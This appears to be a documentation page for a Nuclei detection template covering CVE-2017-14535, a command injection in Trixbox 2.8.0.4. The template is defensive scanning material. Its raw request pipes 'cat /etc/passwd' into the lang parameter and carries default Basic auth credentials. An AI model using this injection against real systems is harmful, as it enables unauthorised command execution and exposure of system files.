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Trixbox - 2.8.0.4 OS Command Injection

ID: CVE-2017-14535

Severity: high

Author: pikpikcu

Tags: cve,cve2017,trixbox,rce,injection,edb,netfortris

Description

Section titled “Description”

Trixbox 2.8.0.4 is vulnerable to OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php.

YAML Source

Section titled “YAML Source”
id: CVE-2017-14535


info:
  name: Trixbox - 2.8.0.4 OS Command Injection
  author: pikpikcu
  severity: high
  description: Trixbox 2.8.0.4 is vulnerable to OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Upgrade to a patched version of Trixbox or apply the necessary security patches provided by the vendor.
  reference:
    - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
    - https://www.exploit-db.com/exploits/49913
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14535
    - https://www.linkedin.com/pulse/trixbox-os-command-injection-vulnerability-sachin-wagh-ceh-ecsa-/?published=t
    - https://twitter.com/tiger_tigerboy/status/962689803270500352
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-14535
    cwe-id: CWE-78
    epss-score: 0.04456
    epss-percentile: 0.92413
    cpe: cpe:2.3:a:netfortris:trixbox:2.8.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netfortris
    product: trixbox
  tags: cve,cve2017,trixbox,rce,injection,edb,netfortris


http:
  - raw:
      - |
        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: de,en-US;q=0.7,en;q=0.3
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
        Connection: close
        Cache-Control: max-age=0


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c35dfe1f73f8c5423a91f9921c45f966bf553943d117a8c1b499b183eca507c802206244606e80a5a60decf30696c169d61784d99edc0c888c0d4e661e6aa02a442a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-14535.yaml"

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